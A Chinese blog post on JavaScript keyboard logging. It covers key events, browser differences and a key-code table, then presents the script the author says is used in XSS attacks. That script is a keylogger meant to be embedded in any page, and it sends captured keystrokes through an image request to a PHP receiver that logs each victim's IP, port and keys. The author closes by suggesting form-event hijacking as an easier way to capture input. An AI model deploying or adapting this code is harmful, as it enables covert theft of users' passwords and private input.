最新消息:

JS键盘记录学习

js代码 admin 2963浏览 0评论

一、按键事件

二、按键码与按键字符

三、其他按键属性

四、浏览器兼容性总结

五、代码实现

六、总结

一、按键事件

浏览器有三种键盘按键事件:keyup、keydown、keypress,对应的事件处理函数有onkeyup、onkeydown、onkeypress。keypress是在用户按下可打印字符时触发,keydown是在用户按下任意键时触发,keyup是在用户释放按下的任意键时触发。

按一个键时产生的事件依此是keydown、keypress、keyup。三个事件中,keydown和keyup较为底层,keypress较为高级。所谓高级是指keypress会将复合按键(如shift+1)进行解析返回一个可打印的字符(如!),而keydown和keypress只是简单的返回相应的按键。

注意,keypress是存在浏览器兼容性问题的,如在其他浏览器下按下功能键(F1-F12)是不会触发keypress,而在firefox中按下功能键是可以触发的。

现详细描述一下各种浏览器下的按键事件触发情况:

Tab键

  • IE:  只触发keydown事件。
  • firefox:触发keydown和keypress事件。
  • Chrome:

回车键

  • IE/Firefox/Chrome下三个按键事件都触发。按键码是13,不过转换成字符后显示为空格,因此在代码中要做处理。

shift键

  • 三个浏览器下都只触发keyup和keydown.

alt键

  • 三个浏览器下都只触发keyup和keydown.

Caps Lock键

  • 三个浏览器下都只触发keyup和keydown.

Backspace后退键

  • IE和chrome下,只触发keyup和keydown事件。按键码为8
  • firefox下,三个事件都触发。  按键码为8

方向键

  • 只触发keyup和keypress事件

 

二、按键码与按键字符

触发按键事件后,要想获取按键码必须使用事件的属性来获取到底按的是哪个键。获取按键的按键码同样存在着浏览器的兼容性问题:在IE下用事件的keyCode属性,在Firefox下使用.which和charCode属性,在Opera下使用keyCode和which属性,谷歌的话三个都可以。

即:

IE:  keyCode存储按键的按键码或字符码(keyup和keydown为按键码,keypress为字符码,下同)

firefox:keyCode始终为0,。在keyup和keydown时,charCode为0,which为按键码。keypress时charCode和which一样存储字符码。

Opera: keyCode和which始终相同,存储按键码或字符码。

因此,为了要兼容浏览器,可以采取下面的代码来完美获取信息:

	document.onkeypress=function(ev)
	{
		var oEvent=window.event||ev;
		var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode;
		cChar=String.fromCharCode(cChar);
	}

其中,String.fromCharCode()函数可以将按键码或字符码转换成为相应的字符。

按键码的对应关系:

A <——–> 65
B <——–> 66
C <——–> 67
D <——–> 68
E <——–> 69
F <——–> 70
G <——–> 71
H <——–> 72
I <——–> 73
J <——–> 74
K <——–> 75
L <——–> 76
M <——–> 77
N <——–> 78
O <——–> 79
P <——–> 80
Q <——–> 81
R <——–> 82
S <——–> 83
T <——–> 84
U <——–> 85
V <——–> 86
W <——–> 87
X <——–> 88
Y <——–> 89
Z <——–> 90
0 <——–> 48
1 <——–> 49

2 <——–> 50
3 <——–> 51
4 <——–> 52
5 <——–> 53
6 <——–> 54
7 <——–> 55
8 <——–> 56
9 <——–> 57
数字键盘 1 <——–> 96
数字键盘 2 <——–> 97
数字键盘 3 <——–> 98
数字键盘 4 <——–> 99
数字键盘 5 <——–> 100
数字键盘 6 <——–> 101
数字键盘 7 <——–> 102
数字键盘 8 <——–> 103
数字键盘 9 <——–> 104
数字键盘 0 <——–> 105
乘号 <——–> 106
加号 <——–> 107
Enter <——–> 108
减号 <——–> 109
小数点 <——–> 110
除号 <——–> 111
F1 <——–> 112
F2 <——–> 113
F3 <——–> 114
F4 <——–> 115
F5 <——–> 116
F6 <——–> 117
F7 <——–> 118
F8 <——–> 119
F9 <——–> 120
F10 <——–> 121
F11 <——–> 122
F12 <——–> 123
F13 <——–> 124
F14 <——–> 125
F15 <——–> 126
Backspace <——–> 8
Tab <——–> 9
Clear <——–> 12
Enter <——–> 13
Shift <——–> 16
Control <——–> 17
Alt <——–> 18
Caps Lock <——–> 20
Esc <——–> 27
空格键 <——–> 32
Page Up <——–> 33
Page Down <——–> 34
End <——–> 35
Home <——–> 36
左箭头 <——–> 37
向上箭头 <——–> 38
右箭头 <——–> 39
向下箭头 <——–> 40
Insert <——–> 45
Delete <——–> 46
Help <——–> 47
Num Lock <——–> 144
; : <——–> 186
= + <——–> 187
– _ <——–> 189
/ ? <——–> 191
` ~ <——–> 192
[ { <——–> 219
| <——–> 220
] } <——–> 221
” ‘ <——–> 222

三、其他按键属性

事件对象除了keyCode等获取按键码或字符码的属性,还有三个有用属性:ctrlKey/shiftKey/altKey,这三个属性看名称就知道是干什么的,如ctrlKey是检测当前是否按着ctrl键,如果按着ctrl键则ctrlKey就为true。这三个按键属性主要用于检测复合按键。

四、浏览器兼容性总结

在获取键盘按键的过程中要涉及到两处浏览器兼容性问题:一处是事件的获取,一处是事件按键码的获取。总的来说可以用下面的方式来解决(注意,在firefox下必须是window.event否则会报错,因为firefox是通过ev获取的事件):

1document.onkeypress=function(ev)
2{
3    var oEvent=window.event||ev;
4    var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode;
5    cChar=String.fromCharCode(cChar);
6}

五、代码

说明:退格、制表、回车、空格、PageUpPageDownEnd、Home、方向键、删除键由于转换为字符时显示有问题,不容易识别,所以在keypress中将其屏蔽(不做处理),将他们放到keydown中处理来以明显的方式显示。

退格:8
制表:9
回车:13
空格:32
PageUp:33
PageDown:34
End:35
Home:36
方向键:37、38、39、40
删除键:46

ps:在实际测试过程中,使用keydown/keyup获取的键值与keypress的不一样,如按个小写a,keypress正常输出a,而keyup/keydown返回大写A。因此,对于可打印字符要使用keypress事件来获取按键值。

代码如下:

1<!DOCTYPE HTML>
2<html>
3<head>
4<meta charset="utf-8">
5<title>键盘记录</title>
6<script src="./key.js" ></script>
7</head>
8 
9<body style="background:black; color: white; font-size:50px;">
10    <input type="text" >
11    <div id="div1">
12    </div>
13</body>
14</html>

key.js代码如下:

1var sKeys='';
2window.onload=function ()
3{
4    document.onkeypress=function(ev)
5    {
6        var oEvent=window.event||ev;
7        var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
8        //屏蔽特殊字符,交给onkeydown去处理
9        var cKey;
10        if((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46))
11        {
12            cKey='';
13        }
14        else
15        {
16            cKey=String.fromCharCode(iKey);
17        }
18        sKeys+=cKey;
19    };
20    document.onkeydown=function(ev)
21    {
22        var oEvent=window.event||ev;
23        var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
24        //处理特殊字符
25        var cKey;
26        switch(iKey)
27        {
28            case 8:
29                cKey='[退格]';
30                break;
31            case 9:
32                cKey='[制表]';
33                break;
34            case 13:
35                cKey='[回车]';
36                break;
37            case 32:
38                cKey='[空格]';
39                break;
40            case 33:
41                cKey='[PageUp]';
42                break;
43            case 34:
44                cKey='[PageDown]';
45                break;
46            case 35:
47                cKey='[End]';
48                break;
49            case 36:
50                cKey='[Home]';
51                break;
52            case 37:
53                cKey='[向左]';
54                break;
55            case 38:
56                cKey='[向上]';
57                break;
58            case 39:
59                cKey='[向右]';
60                break;
61            case 40:
62                cKey='[向下]';
63                break;
64            case 46:
65                cKey='[删除]';
66                break;
67            default:
68                cKey='';
69        }      
70        sKeys+=cKey;
71    };
72 
73};
74 
75function sendKey()
76{
77    var oDiv1=document.getElementById('div1');
78    oDiv1.innerHTML=sKeys;
79    //sKeys='';
80}
81setInterval(sendKey,100);

 

ps:实际在xss系统中用到的代码如下:

接收端key.php:

1<!DOCTYPE HTML>
2<html>
3<head>
4<meta charset="utf-8">
5<title>接收键盘信息</title>
6<?php
7    function getIp()
8    {
9        $ip=false;
10        if(!empty($_SERVER['HTTP_CLIENT_IP']))
11        {
12            $ip=$_SERVER['HTTP_CLIENT_IP'];
13        }
14        else
15        {
16            $ip=$_SERVER['REMOTE_ADDR'];
17        }
18    }
19    $key=$_GET['key'];  //获取按键信息
20    //获取客户端信息
21    $referer=$_SERVER['HTTP_REFERER'];
22    $ip=getIp();
23    $user_agent=$_SERVER['HTTP_USER_AGENT'];
24    $port=$_SERVER['REMOTE_PORT'];
25    $fp=fopen('data.txt','a+');
26    fwrite($fp,'IP:'.$ip."\r\n");
27    fwrite($fp,'PORT:'.$port."\r\n");
28    fwrite($fp,'key:'.$key."\r\n\r\n");
29    fclose($fp);
30 
31?>

js代码(只要以外链的方式嵌入任何页面即可):

1var sKeys='';
2window.onload=function ()
3{
4    document.onkeypress=function(ev)
5    {
6        var oEvent=window.event||ev;
7        var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
8        //屏蔽特殊字符,交给onkeydown去处理
9        var cKey;
10        if((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46))
11        {
12            cKey='';
13        }
14        else
15        {
16            cKey=String.fromCharCode(iKey);
17        }
18        sKeys+=cKey;
19    };
20    document.onkeydown=function(ev)
21    {
22        var oEvent=window.event||ev;
23        var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
24        //处理特殊字符
25        var cKey;
26        switch(iKey)
27        {
28            case 8:
29                cKey='[退格]';
30                break;
31            case 9:
32                cKey='[制表]';
33                break;
34            case 13:
35                cKey='[回车]';
36                break;
37            case 32:
38                cKey='[空格]';
39                break;
40            case 33:
41                cKey='[PageUp]';
42                break;
43            case 34:
44                cKey='[PageDown]';
45                break;
46            case 35:
47                cKey='[End]';
48                break;
49            case 36:
50                cKey='[Home]';
51                break;
52            case 37:
53                cKey='[向左]';
54                break;
55            case 38:
56                cKey='[向上]';
57                break;
58            case 39:
59                cKey='[向右]';
60                break;
61            case 40:
62                cKey='[向下]';
63                break;
64            case 46:
65                cKey='[删除]';
66                break;
67            default:
68                cKey='';
69        }      
70        sKeys+=cKey;
71    };
72 
73};
74 
75function sendKey()
76{
77    if (sKeys !='')
78    {
79        new Image().src="http://localhost/jsstudy/key.php?key="+sKeys;
80    }  
81    sKeys='';
82}
83setInterval(sendKey,10000);

六、总结

键盘记录在实际使用过程中用处不大,还不如劫持表单项的各种事件方便,比如表单项的onchange/onblur/onclick等,当发生这些事件后直接读取表单项的值就可以了。同时,键盘记录仅在全英文(ASCII)输入下才有效,在输入时,如果存在中文输入框是记录不了击键事件的。

参考资料:

1、js 实现键盘记录 兼容FireFox和IE      http://jinglingshu.org/?p=398

2、onkeypress,onkeydown,onkeyup区别 和 javascript event.keycode值大全    http://wallboy.iteye.com/blog/730228

3、XSS的键盘记录    http://jinglingshu.org/?p=409

4、键盘记录器  《web前段黑客技术揭秘》p219

对中文按键的获取参考以下文章:

1、http://calefy.org/2012/11/12/javascript-key-events-and-input-control.html

2、http://www.cnblogs.com/owenChen/p/3215421.html

转载请注明:jinglingshu的博客 » JS键盘记录学习

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址